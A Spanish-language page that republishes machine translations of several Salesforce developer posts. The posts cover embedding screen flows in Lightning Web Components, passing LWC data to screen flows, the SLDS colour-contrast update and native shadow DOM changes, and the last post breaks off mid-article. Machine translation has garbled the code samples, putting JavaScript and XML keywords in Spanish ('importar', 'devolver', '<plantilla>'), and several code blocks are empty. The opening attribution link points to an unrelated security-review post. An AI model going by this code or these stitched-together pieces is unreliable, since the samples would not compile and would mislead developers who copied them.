Esta es una traducción realizada por EGA Futura, y este es el link a la publicación original: https://developer.salesforce.com/blogs/2023/08/the-top-20-vulnerabilities-found-in-the-appexchange-security-review.html

Categories
Developers

Incrustar flujos de pantalla en el componente web Lightning

Última actualización el 19 de julio de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cómo incrusta un flujo de pantalla dentro de un componente web Lightning?

Objetivos:

Después de leer este blog, podrá:

  • Incruste el flujo de pantalla dentro de un componente web Lightning
  • Aplicar representación condicional en el componente web Lightning
  • Use uiRecordApi para obtener el valor del campo del registro sin usar la clase de Apex
  • y mucho más

En el pasado, escribí algunos artículos sobre Lightning Web Component . ¿Por qué no echarles un vistazo mientras estás en ello?

  1. Pasar datos del componente web Lightning al flujo de pantalla
  2. Uso del componente web Lightning para mostrar un banner de alerta

Janel Parrish trabaja como desarrollador junior en Gurukul on Cloud (GoC). Se le ha encomendado un requisito comercial para desarrollar un componente LWC con las siguientes funcionalidades:

  1. Debería mostrar un flujo de pantalla llamado 'parterFlow' cuando el tipo de cuenta es 'Socio tecnológico'.
  2. Debería presentar un flujo de pantalla llamado 'customerFlow' cuando el tipo de cuenta es 'Cliente – Directo'.
  3. El componente LWC debe diseñarse con la capacidad de incorporarse en la página de registro de rayos de la cuenta.

Enfoque de Campeón de Automatización (I-do):

Utilizaremos el componente lightning-flow para incrustar un flujo de pantalla en el componente lightning web. Para crear un flujo en el componente Lightning Web, establezca el atributo flowApiName del componente Lightning-Flow en el nombre de flujo que desea usar. El componente incluye botones de navegación (Atrás, Siguiente, Pausa y Finalizar) para que los usuarios naveguen dentro del flujo.

También usaremos un adaptador de cable uiRecordApi que nos permite interactuar con registros de Salesforce desde los componentes del componente web lightning sin escribir código Apex. Esta API le permite realizar operaciones como recuperar los datos de un registro o los detalles del diseño, crear, eliminar o actualizar un registro, etc. Estos son algunos de los métodos clave proporcionados por uiRecordApi :

  1. getRecord : este método le permite obtener datos de registro.
  2. getRecordCreateDefaults : este método proporciona los valores predeterminados que utiliza Salesforce al crear un nuevo registro.
  3. getRecordUi : obtiene los detalles de diseño de un registro, como qué campos se muestran, cómo se muestran, etc.
  4. createRecord : este método le permite crear un nuevo registro.
  5. deleteRecord – Le permite eliminar un registro.
  6. updateRecord : te permite actualizar un registro existente.

En el archivo de configuración XML, usaremos lightning__RecordPage como destino para permitir que el componente web de iluminación se use en una página de registro en Lightning App Builder.

Práctica guiada (nosotros hacemos):

Hay 3 pasos para resolver el requisito comercial de Janel utilizando Lightning Web Component y Screen Flow . Debemos:

  1. Cree un ScreenFlow (customerFlow) para manejar la solicitud del cliente
    1. Definir propiedades de flujo para el flujo de pantalla
    2. Agregue una variable de texto para almacenar el nombre de la cuenta
    3. Agregue una pantalla para mostrar el nombre de la cuenta desde una variable de texto
  2. Cree un ScreenFlow (partnerFlow) para manejar la solicitud del cliente
    1. Definir propiedades de flujo para el flujo de pantalla
    2. Agregue una variable de texto para almacenar el nombre de la cuenta
    3. Agregue una pantalla para mostrar el nombre de la cuenta desde una variable de texto
  3. Cree un componente web relámpago para mostrar los diferentes flujos de pantalla según el tipo de cuenta

Paso 1.1: Definir propiedades de flujo (customerFlow)

  1. Haga clic en Configuración .
  2. En el cuadro Búsqueda rápida, escriba Flujos .
  3. Seleccione Flujos , luego haga clic en Nuevo flujo .
  4. Seleccione el flujo de pantalla   y haga clic en Crear y configurar el flujo.
  5. Se abrirá el diseñador de flujo para usted.

Paso 1.2: agregue una variable de texto al nombre de la cuenta de la tienda

  1. En Caja de herramientas , seleccione Administrador y, a continuación, haga clic en Nuevo recurso para almacenar el nombre de la cuenta.
  2. Ingrese la siguiente información :
    1. Tipo de recurso : Variable
    2. Nombre de API : nombre de cuenta
    3. Tipo de datos : Texto
    4. Valor predeterminado : {!$GlobalConstant.EmptyString}
    5. Comprobar disponible para entrada
    6. Comprobar disponible para la salida
  3. Haga clic en Listo.

Paso 1.3: agregue una pantalla para mostrar el nombre de la cuenta desde la variable de texto

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Pantalla .
  2. Ingrese la siguiente información :
    1. Ingrese la etiqueta, el nombre de la API se completará automáticamente.
  3. Haga clic en Listo.

Al final, Janel's Flow se verá como la siguiente captura de pantalla:

Una vez que todo se vea bien, realice los siguientes pasos:

  1. Haga clic en Guardar .
  2. Ingrese la etiqueta de flujo, el nombre de la API se completará automáticamente.
  3. Haga clic en Mostrar avanzado .
  4. Versión de API para ejecutar el flujo : 58
  5. Etiqueta de entrevista : customerFlow {!$Flow.CurrentDateTime}
  6. Haga clic en Guardar .

Paso 2.1: Definir propiedades de flujo (partnerFlow)

  1. Haga clic en Configuración .
  2. En el cuadro Búsqueda rápida, escriba Flujos .
  3. Seleccione Flujos , luego haga clic en Nuevo flujo .
  4. Seleccione el flujo de pantalla   y haga clic en Crear y configurar el flujo.
  5. Se abrirá el diseñador de flujo para usted.

Paso 2.2: agregue una variable de texto al nombre de la cuenta de la tienda

  1. En Caja de herramientas , seleccione Administrador y, a continuación, haga clic en Nuevo recurso para almacenar el nombre de la cuenta.
  2. Ingrese la siguiente información :
    1. Tipo de recurso : Variable
    2. Nombre de API : nombre de cuenta
    3. Tipo de datos : Texto
    4. Valor predeterminado : {!$GlobalConstant.EmptyString}
    5. Comprobar disponible para entrada
    6. Comprobar disponible para la salida
  3. Haga clic en Listo.

Paso 2.3: agregue una pantalla para mostrar el nombre de la cuenta desde la variable de texto

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Pantalla .
  2. Ingrese la siguiente información :
    1. Ingrese la etiqueta, el nombre de la API se completará automáticamente.
  3. Haga clic en Listo.

Al final, Janel's Flow se verá como la siguiente captura de pantalla:

Una vez que todo se vea bien, realice los siguientes pasos:

  1. Haga clic en Guardar .
  2. Ingrese la etiqueta de flujo, el nombre de la API se completará automáticamente.
  3. Haga clic en Mostrar avanzado .
  4. Versión de API para ejecutar el flujo : 58
  5. Etiqueta de entrevista : flujo de socio { !$Flow.CurrentDateTime}
  6. Haga clic en Guardar .

Paso 3: cree un componente web Lightning para mostrar los diferentes flujos de pantalla según el tipo de cuenta

Debajo de la plantilla de componente web lightning, se muestra una tarjeta Lightning titulada Iniciar pedido . Dependiendo de si la propiedad isPartner o isCustomer es verdadera, se iniciará y mostrará el Lightning Flow correspondiente ("rakeshistomMVP__partnerFlow" o "rakeshistomMVP__customerFlow").

embedFlowToLWC.html

Utilizaremos el componente lightning-flow para incrustar un flujo de pantalla en el componente lightning web. Desglosemos el código:

  • En LWC, el archivo HTML de cada componente debe envolverse con una etiqueta <plantilla> .
  • <template if:true={isPartner}> y <template if:true={isCustomer}> : estas son plantillas condicionales que muestran contenido en función de la veracidad de las propiedades isPartner e isCustomer , respectivamente. El contenido dentro de estas plantillas solo se representará si la condición correspondiente es verdadera.

<plantilla> <div class="slds-m-alrededor_medio"> <lightning-card title="Iniciar pedido" icon-name="estándar:pedidos"> <div class="slds-m-alrededor_medio"> <template if:true={esSocio}> <lightning-flow onstatuschange={handleStatusChange} flow-api-name="rakeshistomMVP__partnerFlow" flow-input-variables={inputVariables}></lightning-flow> </plantilla> <template if:true={esCliente}> <lightning-flow onstatuschange={handleStatusChange} flow-api-name="rakeshistomMVP__customerFlow" flow-input-variables={inputVariables}></lightning-flow> </plantilla> </div> </tarjeta-relámpago> </div>
</plantilla>
embedFlowToLWC.js

Este código JavaScript de muestra usa el decorador @api para crear propiedades públicas. Por ejemplo, recordId es una propiedad reactiva pública que contiene el ID de la página de registro. Mientras que el decorador @wire lee los datos de Salesforce. getRecord es una función del módulo lightning/uiRecordApi que recupera un registro. accountType y accountName se importan del esquema de Salesforce.

  • Las declaraciones de importación se utilizan para importar los módulos y las dependencias necesarios. LightningElement es el componente básico para crear componentes web Lightning.
  • account({ error, data }) es una función que maneja la respuesta de la llamada getRecord . Si hay un error, asigna el error a this.error . Si se devuelven datos, establece this.accountName en el nombre de la cuenta y establece isPartner o isCustomer en verdadero según el tipo de cuenta.
  • get inputVariables() es un método captador que devuelve una matriz de objetos, que representa variables de entrada para un flujo. En este caso, devuelve el nombre de la cuenta.

import { LightningElement, api, wire } de 'lwc';
importar { getRecord } desde 'lightning/uiRecordApi';
importar tipo de cuenta desde '@salesforce/schema/Account.Type';
importar nombre de cuenta desde '@salesforce/schema/Account.Name'; exportar la clase predeterminada FlowLauncher extiende LightningElement { @api recordId; nombre de la cuenta; esSocio = falso; esCliente = falso; @wire(getRecord, { recordId: '$recordId', campos: [nombre de cuenta, tipo de cuenta] }) cuenta ({ error, datos }) { si (error) { this.error = error; } más si (datos) { this.accountName = data.fields.Name.value; if(data.fields.Type.value === 'Socio tecnológico') { this.isPartner = verdadero; this.isCustomer = false; } else if(data.fields.Type.value === 'Cliente - Directo') { this.isCustomer = true; this.isPartner = false; } } } obtener variables de entrada () { devolver [ { nombre: 'nombre de cuenta', tipo: 'Cadena', valor: este.nombreDeCuenta } ]; } handleStatusChange(evento) { if(evento.detalle.estado === 'FINALIZADO') { //Acción después de que un flujo haya terminado } }
}
embedFlowToLWC.js-meta.xml

El elemento isExposed se establece en verdadero, lo que hace que el componente esté disponible para su uso en herramientas como Lightning App Builder o Flow Builder.

El elemento de objetivos se usa para especificar dónde se puede usar su componente. En este caso, la etiqueta lightning__RecordPage significa que este componente está diseñado para usarse en una página de registro en Lightning App Builder.



<?versión xml=”1.0″ codificación=”UTF-8″?>
<LightningComponentBundle xmlns=”http://soap.sforce.com/2006/04/metadata”>
<apiVersion>58.0</apiVersion>
<isExposed>verdadero</isExposed>
<target>relámpago__RecordPage</target>
</objetivos>
</LightningComponentBundle>

Prueba de concepto

Evaluación formativa:

¡Quiero saber de ti!

¿Qué es una cosa que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntase libre de compartir en los comentarios a continuación.

Esta es una traducción realizada por EGA Futura, y este es el link a la publicación original: https://automationchampion.com/2023/07/19/embed-screen-flows-in-lightning-web-component-3/

Categories
Developers

Pasar datos del componente web Lightning al flujo de pantalla

Última actualización el 17 de julio de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cómo pasa datos del componente web lightning al flujo de pantalla principal?

Objetivos:

Después de leer este blog, podrá:

  • Incruste un componente web relámpago dentro del flujo de pantalla
  • Pase los datos del componente web lightning a una variable de flujo
  • Interactuar con el componente web lightning y los elementos de flujo de pantalla en la misma pantalla
  • y mucho más

En el pasado, escribí algunos artículos sobre Lightning Web Component . ¿Por qué no echarles un vistazo mientras estás en ello?

  1. Uso del componente web Lightning para mostrar un banner de alerta
  2. Obtenga el Id. de registro y el nombre de la API del objeto en el componente web Lightning

Janel Parrish trabaja como desarrollador junior en Gurukul on Cloud (GoC). Janel tiene un requisito comercial para hacer lo siguiente:

  1. Desarrollar un componente LWC capaz de recibir entradas de latitud y longitud.
  2. Pase los valores introducidos a los componentes de flujo de pantalla correspondientes.

Construir pantallas con componentes reactivos

Con la función Crear pantallas con componentes interactivos (actualmente en versión beta), ahora puede habilitar la interacción directa entre un componente web Lightning y otros elementos de flujo en la misma pantalla.

Anteriormente, no existía una disposición directa para la interacción dinámica entre un componente web Lightning y los elementos de flujo. Como resultado, los usuarios tenían que navegar a la siguiente pantalla para ver los datos pasados por el componente web Lightning en Screen Flow.

Enfoque de Campeón de Automatización (I-do):

Al crear el componente web Lightning, también utilizaremos el evento FlowAttributeChangeEvent . Esto permitirá que un componente controle la navegación del flujo y notifique al flujo los cambios en los valores de los atributos.

Los eventos FlowAttributeChangeEvent solo se admiten en componentes donde el destino es lightning__FlowScreen .

Práctica guiada (nosotros hacemos):

Hay 2 pasos para resolver el requisito empresarial de Janel utilizando Lightning Web Component y Screen Flow . Debemos:

  1. Cree un componente web Lightning de ubicación de entrada para Screen Flow
  2. Pasos de flujo de Salesforce
    1. Definir propiedades de flujo para el flujo de pantalla
    2. Agregue una pantalla para mostrar el componente personalizado de ubicación de entrada
    3. Agregar un componente de número de entrada para mostrar la latitud desde la ubicación de entrada Componente LWC
    4. Agregar un componente de número de entrada para mostrar la longitud desde la ubicación de entrada Componente LWC

Paso 1: Cree un componente web Lightning de ubicación de entrada para Screen Flow

En primer lugar, cree un componente web Lightning de ubicación de entrada con el siguiente código. El componente lightning-input-location representa un campo de geolocalización compuesto que acepta valores de latitud y longitud introducidos por el usuario, siendo ambos coordenadas geográficas expresadas en grados decimales. Le permite identificar ubicaciones utilizando estas coordenadas.

El rango aceptable para la latitud está entre -90 y 90, mientras que la longitud acepta valores de -180 a 180. Cualquier entrada más allá de estos rangos especificados genera un mensaje de error. Este ejemplo muestra un campo de geolocalización compuesto, que muestra una latitud de 27,70750 y una longitud de -122,3948370.

Si no sabe cómo crear un componente Lightning, consulte esta guía para desarrolladores, Crear un componente web Lightning .

lwcToScreenFlow.html

Utilizaremos el componente de ubicación de entrada de rayos para aceptar valores de latitud y longitud. Desglosemos el código:

  • En LWC, el archivo HTML de cada componente debe envolverse con una etiqueta <plantilla> .
  • latitude={latitude} :- Esto vincula la propiedad de latitud de la clase JavaScript de LWC con el atributo de latitud del componente.
  • longitude={longitude} :- Similar a la latitud, esto une la propiedad de longitud de la clase JavaScript de LWC con el atributo de longitud del componente.
  • onchange={handleChange} :- Esto configura un detector de eventos en el componente. Cada vez que cambia el valor del componente (ya sea latitud o longitud), se llama al método handleChange de la clase JavaScript de LWC.

<plantilla> <relámpago-entrada-ubicación etiqueta="Coordenadas predeterminadas" latitud={latitud} longitud={longitud} onchange={handleChange}> </ubicación-de-entrada-del-relámpago>
</plantilla>
lwcToScreenFlow.js

Este código JavaScript de muestra utiliza el decorador @api para crear propiedades públicas, es decir, accesibles desde otros componentes o utilizadas en plantillas HTML. Por ejemplo, @api latitude y @api longitude declaran dos propiedades públicas.

  • FlowAttributeChangeEvent crea y distribuye el evento personalizado que transfiere datos del componente web Lightning a un flujo.
  • handleChange(event) es un método de controlador de eventos que se llama cuando ocurre un evento de cambio en el componente lightning-input-location en la plantilla HTML de LWC.
  • this.latitude = event.target.latitude y this.longitude = event.target.longitude , estas líneas actualizan las propiedades de latitud y longitud con los valores del objetivo del evento (el componente lightning-input-location).
  • [“latitud”, “longitud”].forEach((loc) => this.dispatchEvent(new FlowAttributeChangeEvent(loc, this[loc]))) , esta línea recorre una matriz que contiene cadenas de latitud y longitud, y para cada uno de estos, envía un nuevo FlowAttributeChangeEvent.

importar { LightningElement, api } desde 'lwc';
importar {FlowAttributeChangeEvent} desde 'lightning/flowSupport'; exportar la clase predeterminada LwcToScreenFlow extiende LightningElement { @api latitud; @api longitud; handleChange(evento){ esta.latitud = evento.objetivo.latitud; this.longitude = event.target.longitude; ["latitud", "longitud"].forEach((loc) => this.dispatchEvent(new FlowAttributeChangeEvent(ubicación, esta[ubicación])) ); }
}
lwcToScreenFlow.js-meta.xml

El elemento isExposed se establece en verdadero, lo que hace que el componente esté disponible para su uso en herramientas como Lightning App Builder o Flow Builder. El elemento de objetivos se usa para especificar dónde se puede usar su componente. En este caso, la etiqueta lightning__FlowScreen significa que este componente está diseñado para usarse en las pantallas de Salesforce Flow.

Los elementos targetConfigs y targetConfig le permiten definir propiedades que se pueden establecer en el contexto del constructor. En este caso, las propiedades son latitud y longitud . Ambos están configurados para ser del tipo Integer y tienen la función de outputOnly , lo que significa que se pueden configurar en el flujo, pero el usuario no puede modificarlos dentro del componente. Estas propiedades se pueden usar para pasar datos del LWC al flujo.


<?versión xml="1.0" codificación="UTF-8"?>
<LightningComponentBundle xmlns="http://soap.sforce.com/2006/04/metadatos"> <apiVersion>58.0</apiVersion> <isExposed>verdadero</isExposed> <objetivos> <target>relámpago__FlowScreen</target> </objetivos> <configuraciones de destino> <targetConfig objetivos="relámpago__FlowScreen"> <property label="Latitude" name="latitude" type="Integer" role="outputOnly"/> <property label="Longitud" name="longitud" type="Integer" role="outputOnly"/> </targetConfig> </configuraciones de destino>
</LightningComponentBundle>

Paso 2.1: Definir propiedades de flujo

  1. Haga clic en Configuración .
  2. En el cuadro Búsqueda rápida, escriba Flujos .
  3. Seleccione Flujos , luego haga clic en Nuevo flujo .
  4. Seleccione el flujo de pantalla   y haga clic en Crear y configurar el flujo.
  5. Se abrirá el diseñador de flujo para usted.

Paso 2.2: agregue una pantalla para mostrar el componente personalizado de ubicación de entrada

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Pantalla .
  2. Ingrese la siguiente información :
    1. Ingrese la etiqueta, el nombre de la API se completará automáticamente.
  3. Haga clic en Listo.

Paso 2.3: Agregue un componente de número de entrada para mostrar la latitud desde el componente LWC de ubicación de entrada

  1. En la sección Entrada en Elemento de pantalla , arrastre y suelte el componente Número en la pantalla.
  2. Ingrese la siguiente información :
    1. Ingrese la etiqueta, el nombre de la API se completará automáticamente.
    2. Valor predeterminado : {!lwcToFlow.latitude}
  3. Haga clic en Listo.

Paso 2.4: Agregar un componente de número de entrada para mostrar la longitud desde la ubicación de entrada Componente LWC

  1. En la sección Entrada en Elemento de pantalla , arrastre y suelte el componente Número en la pantalla.
  2. Ingrese la siguiente información :
    1. Ingrese la etiqueta, el nombre de la API se completará automáticamente.
    2. Valor predeterminado : {!lwcToFlow.longitude}
  3. Haga clic en Listo.

Al final, Janel's Flow se verá como la siguiente captura de pantalla:

Una vez que todo se vea bien, realice los siguientes pasos:

  1. Haga clic en Guardar .
  2. Ingrese la etiqueta de flujo, el nombre de la API se completará automáticamente.
  3. Haga clic en Mostrar avanzado .
  4. Versión de API para ejecutar el flujo : 58
  5. Etiqueta de entrevista : Pase de Screen Flow a LWC {!$Flow.CurrentDateTime}
  6. Haga clic en Guardar .

Prueba de concepto

Evaluación formativa:

¡Quiero saber de ti!

¿Qué es una cosa que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntase libre de compartir en los comentarios a continuación.

Esta es una traducción realizada por EGA Futura, y este es el link a la publicación original: https://automationchampion.com/2023/07/17/pass-data-from-lightning-web-component-to-screen-flow-3/

Categories
Developers Tutoriales de Salesforce

Preparando tu aplicación para la actualización de color del Lightning Design System ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Preparación de su aplicación para la actualización de color de Lightning Design System | Blog de desarrolladores de Salesforce

En 2023, Salesforce planea actualizar los colores en nuestra interfaz de usuario de iluminación para que sean más accesibles para las personas con baja visión y para cumplir con las Pautas de accesibilidad de contenido web (WCAG) para el contraste de color que no es de texto y el contraste de color de texto. WCAG es un estándar de accesibilidad moderno requerido por numerosos órganos de gobierno de todo el mundo.

Para hacer esto, actualizaremos las plataformas en las que se crea nuestra interfaz de usuario Lightning: Salesforce Lightning Design System (SLDS) y Base Lightning Components (ambas versiones, Aura y Lightning Web Component). En estas plataformas, actualizaremos componentes, tokens de diseño, ganchos de estilo e íconos. Estos cambios no solo aparecerán en los productos de Salesforce, como Sales Cloud y Service Cloud, sino que también aparecerán en cualquier interfaz de usuario personalizada que haya creado con SLDS o Base Lightning Components.

Para obtener más detalles y ejemplos visuales de las actualizaciones, eche un vistazo a las publicaciones del blog de administración y noticias de Salesforce.

¿Cuál es el motivo de la actualización?

Con los colores actuales en Salesforce, los usuarios con problemas de visión tienen dificultades para reconocer los elementos clave de la interfaz de usuario, lo que no solo los frustra, sino que también les impide adoptar Salesforce. Además, Salesforce y sus clientes enfrentan problemas de cumplimiento clave debido a que un número cada vez mayor de gobiernos en todo el mundo, incluida la Unión Europea (UE) , requieren contraste de color de acuerdo con WCAG 2.1 . WCAG 2.1 ha requerido que los sitios web de las empresas usen texto que cumpla con un contraste de color de 4.5: 1 de su fondo y elementos funcionales que no sean texto que cumplan con un contraste de color de 3: 1 . Aumentar nuestro contraste de color para cumplir con estos estándares nos permitirá brindar una mejor experiencia a los usuarios con baja visión y permitirá a las empresas que usan nuestros productos evitar fuertes multas por accesibilidad.

¿Cuándo está ocurriendo la actualización?

Todos los íconos se actualizarán como parte del lanzamiento de Summer '23. Las páginas de inicio de registros seleccionados, incluidos los LWC incrustados en las páginas, se actualizarán como parte del lanzamiento de Summer '23. Todas las demás páginas, SLDS y los componentes básicos de Lightning se actualizarán como parte de la versión Winter '24.

¿Qué es lo que hay que hacer?

Si descargó íconos de Salesforce y seleccionó íconos específicos para usarlos como recursos estáticos, asegúrese de actualizarlos con los nuevos íconos . Si está utilizando nuestro paquete SLDS NPM , actualice ese paquete a la última versión para ver los cambios. Si tiene páginas personalizadas desarrolladas con SLDS, vea cuáles de los siguientes escenarios se aplican a su base de código y realice los cambios correspondientes.

1. Componente base Lightning/Aura

Utiliza un componente Lightning sin anulaciones adicionales. Su código podría verse como el Ejemplo 1 a continuación.

¿Qué es lo que hay que hacer?

  1. Nada. Las actualizaciones de color se realizan de forma gratuita a medida que Lightning Base Components implementa un plan SLDS .
  2. Se aplican excepciones a algunos componentes a continuación.

Ejemplo 1

<dx-code-block title language="html" code-block="
Save
«>

2. Componente personalizado con plano SLDS

Utiliza un componente personalizado que implementa un modelo SLDS y solo usa clases SLDS para diseñar. Su código podría verse como el Ejemplo 2 a continuación.

¿Qué es lo que hay que hacer?

  1. Nada. Las actualizaciones de color se realizan de forma gratuita si su componente implementa exactamente un modelo SLDS .

Ejemplo 2

<dx-code-block title language="html" code-block="

«>

3. Componente personalizado con plano parcial de SLDS

Similar a 2. Componente personalizado con modelo SLDS , pero en este caso, usa un componente personalizado que implementa parcialmente un modelo SLDS o usa más clases de SLDS para diseñar. Su código podría verse como el Ejemplo 3 a continuación.

¿Qué es lo que hay que hacer?

  1. Es posible que deba actualizar los colores en su CSS personalizado si ve regresiones visuales.
    1. Si existe un componente base Lightning para ese modelo y variante, recomendamos reemplazar su componente personalizado con el componente base Lightning.
      1. Si necesita personalizar el estilo de los componentes, le recomendamos que utilice los nuevos ganchos de estilo --slds para cualquier valor de color codificado. Si el valor de color codificado no tiene una coincidencia exacta en términos de ganchos de estilo, querrá considerar usar el gancho de estilo más parecido.
    2. Es posible que desee verificar si hay suficiente contraste de color para el componente antes de actualizar el valor codificado a un gancho de estilo.
  2. Los cambios de color en las clases de SLDS se realizan de forma gratuita. Debido a que los cambios se limitan al color, estas clases deberían continuar funcionando como se esperaba.

Ejemplo 3

<dx-code-block title language="html" code-block="

«><dx-code-block title language="css" code-block="/* CSS */
.my-class { color: #ccc;

En este caso, la clase de CSS personalizada .my-class anula un valor de .slds-button_neutral . Este valor no solo debe actualizarse para tener un mejor contraste, sino que toda la implementación también sería más fácil de mantener si se reemplazara con un componente base Lightning y luego se usara el enlace de estilo --slds-c-button-text-color para hacer una anulación accesible.

Nota: Si no existe un gancho de estilo para el valor codificado, recomendamos usar el gancho de estilo más cercano disponible.

<dx-code-block title language="html" code-block="
Save
«>

4. Componente personalizado con tokens o clases SLDS

Está usando un componente personalizado que usa directamente tokens SLDS dentro de CSS personalizado o usa clases SLDS en el marcado. Su código podría verse como el Ejemplo 4 a continuación.

¿Qué es lo que hay que hacer?

  1. Es posible que deba reemplazar los tokens que está utilizando en CSS personalizado con los ganchos de estilo global relevantes según sea necesario.
    1. Consulte el ejemplo 4 a continuación.

Ejemplo 4

<dx-code-block title language="html" code-block="

«>

En este ejemplo, el token t(colorBorder) está diseñado para bordes decorativos como tarjetas y divisores. Debe reemplazarse con un gancho de estilo que esté alineado con el plano del botón SLDS.

5. Componente personalizado con fichas personalizadas

Está usando un componente personalizado que usa tokens personalizados. Su código podría verse como el Ejemplo 5 a continuación.

¿Qué es lo que hay que hacer?

Recomendamos reemplazar tokens personalizados con ganchos de estilo SLDS cuando sea posible. Cuando use ganchos de estilo, asegúrese de usar ganchos que tengan el contexto semántico correcto. Por ejemplo, un gancho como --slds-g-color-border-base-1 solo debe usarse para bordes. Esto ayudará a garantizar que su producto siga siendo coherente con el estilo de Salesforce a medida que se produzcan futuras actualizaciones de color.

Si debe mantener su token personalizado por cualquier motivo, vuelva a verificar que su token personalizado no haya experimentado ninguna regresión visual.

Ejemplo 5

<dx-code-block title language="html" code-block="

«><dx-code-block title language="html" code-block="

«>

En este ejemplo, el token t(myBackgroundColor) usa un valor de color desactualizado de SLDS. El lenguaje visual Lightning actual ya no usa este color. El token personalizado debe reemplazarse con el color más parecido de la lista de ganchos de estilo. En este ejemplo, —slds-g-color-neutral-base-95: #f3f3f3 es el gancho de estilo SLDS más parecido.

6. Componente personalizado con valores codificados

Está usando un componente personalizado que usa un valor de color codificado como #444 o rgb(68,68,68) . Su código podría parecerse al Ejemplo 3 anterior.

¿Qué es lo que hay que hacer?

  1. Recomendamos reemplazar los colores codificados con ganchos de estilo si existe un color análogo. Al seleccionar tokens, asegúrese de usar tokens semánticos de manera que conserven su significado. Por ejemplo, --slds-g-color-border-base-1 solo debe usarse como el color del borde de los elementos del formulario. Si desea mantener su valor de color codificado, verifique que estos colores no hayan experimentado ninguna regresión visual.
    Nota: Los valores alternativos pueden permanecer como valores de color codificados.

7. Componente base con anulación --lwc

Está utilizando un componente Lightning o Aura base y está anulando un token --lwc para personalizar el estilo de uno o más componentes. Su código podría verse como el Ejemplo 7.

NOTA: Esta no es una forma recomendada de personalizar componentes y no hay garantía de que las personalizaciones realizadas de esta manera continúen funcionando.

¿Qué es lo que hay que hacer?

  1. Verifique si está anulando y --lwc tokens para cualquiera de estos componentes .
    1. Reemplace el token --lwc que se anula con el enlace de estilo actualizado --slds introducido.

Ejemplo 7

<dx-code-block title language="html" code-block="

«>

En este ejemplo, al anular —lwc-colorBorder a rojo, todos los bordes de los botones se vuelven rojos. El equipo de SLDS actualizó esta variante de componente para usar un enlace de estilo global, por lo que esta anulación dejará de funcionar. En este caso, simplemente use --slds-g-color-border-base-4 en el ámbito del selector para anular el color del borde.

Mejores prácticas

  • Reemplace los valores de color codificados de forma rígida con ganchos de estilo globales cuando sea posible (los valores de colores codificados de forma rígida están bien como valores alternativos).
  • Reemplace los tokens de diseño con ganchos de estilo global donde sea posible.
  • Reemplace los ganchos de estilo --lwc con ganchos de estilo globales.
  • Elija ganchos de estilo que correspondan al contexto de uso. Por ejemplo, al reemplazar el valor codificado de #747474 que se usa para un borde con un gancho de estilo, hay dos alternativas para elegir: --slds-g-color-border-base-4 o --slds-g-color-neutral-base-50 . Se recomienda usar --slds-g-color-border-base-4 para el contexto de estilo CSS de "border" en lugar de --slds-g-color-neutral-base-50 .
  • Use declaraciones var(..) y coloque valores de color codificados como respaldo en caso de que un navegador heredado no pueda leer el enlace de estilo o el token de diseño. Esto es opcional.
    • background: var(—slds-g-color-neutral-base-50, #747474);
  • Intente que sus personalizaciones de color cumplan con los estándares de contraste de color de texto y no texto de WCAG 2.1.

Más recursos

Sobre el Autor

Timothy Yeh es Gerente de Producto para Sistemas de Diseño en Salesforce, enfocado en ayudar a los clientes a construir una interfaz de usuario de mayor calidad más rápido al proporcionar sistemas sólidos de patrones.

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Esta es una traducción realizada por EGA Futura, y este es el link a la publicación original: https://developer.salesforce.com/blogs/2023/06/preparing-your-app-for-the-lightning-design-system-color-update.html

Categories
Developers Tutoriales de Salesforce

Cambios en la estructura del DOM interno del componente Lightning base para compatibilidad futura con sombras nativas ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Cambios en la estructura del DOM interno del componente Lightning base para la futura compatibilidad con sombras nativas | Blog de desarrolladores de Salesforce

Salesforce está preparando los componentes base de Lightning para adoptar Shadow DOM nativo , lo que mejorará el rendimiento de los componentes y los alineará mejor con los estándares de los componentes web. Como parte de esta fase de preparación, hemos cambiado la estructura DOM interna de algunos de nuestros componentes. Recién comenzamos y continuaremos modificando las partes internas de los componentes en versiones posteriores. En esta publicación, discutiremos qué cambiará y cómo puede prepararse para ello.

¿Qué es el DOM de sombra nativo?

Shadow DOM es un estándar web que encapsula la estructura del modelo de objeto de documento (DOM) interno de un componente web. Esto nos da la capacidad de proporcionarle componentes robustos y seguros protegiéndolos de ser manipulados por HTML, CSS y JavaScript arbitrarios.

Actualmente, Salesforce mantiene un polyfill de sombra sintético para navegadores heredados, como versiones anteriores de Microsoft Edge, pero ahora que todos los principales navegadores admiten DOM de sombra nativo, estamos preparando nuestros componentes para hacer lo mismo.

Con la introducción del shadow DOM nativo, mejoraremos la encapsulación de los componentes, haciéndolos más consistentes y seguros, y brindaremos una forma más predecible de diseñarlos. Esto resolverá una gran cantidad de problemas de compatibilidad con versiones anteriores y alineará los componentes web Lightning con los estándares web.

Sin embargo, puede provocar una fase de adaptación a medida que hacemos el cambio.

La implementación interna de los componentes básicos está cambiando

Hemos estado trabajando en la preparación de nuestros componentes base para adoptar el shadow DOM nativo. Los escenarios específicos en los que se rompía la encapsulación de los componentes base requerían que creáramos un nuevo elemento contenedor dentro del límite de la sombra. Para ayudar a ilustrar esto, veamos un componente base de ejemplo llamado lightning-foo . Antes, el componente se veía así:

<dx-code-block title language code-block="

Example base component

«>

A partir de Summer '23, se verá así:

<dx-code-block title language code-block="

Example base component

«>

La mecánica interna de los componentes básicos no se diseñó para acceder directamente y tratarse como una API confiable para su uso. En cambio, nuestros componentes preempaquetados estaban destinados a usarse tal como son, utilizando las API públicas oficiales que hemos compartido abiertamente. Sin embargo, sabemos que algunos clientes están utilizando componentes internos de manera no documentada. Si está accediendo a los elementos internos de un componente base con fines de personalización y prueba, tenga en cuenta estos cambios.

¿Cómo puede arreglar su código personalizado y sus pruebas?

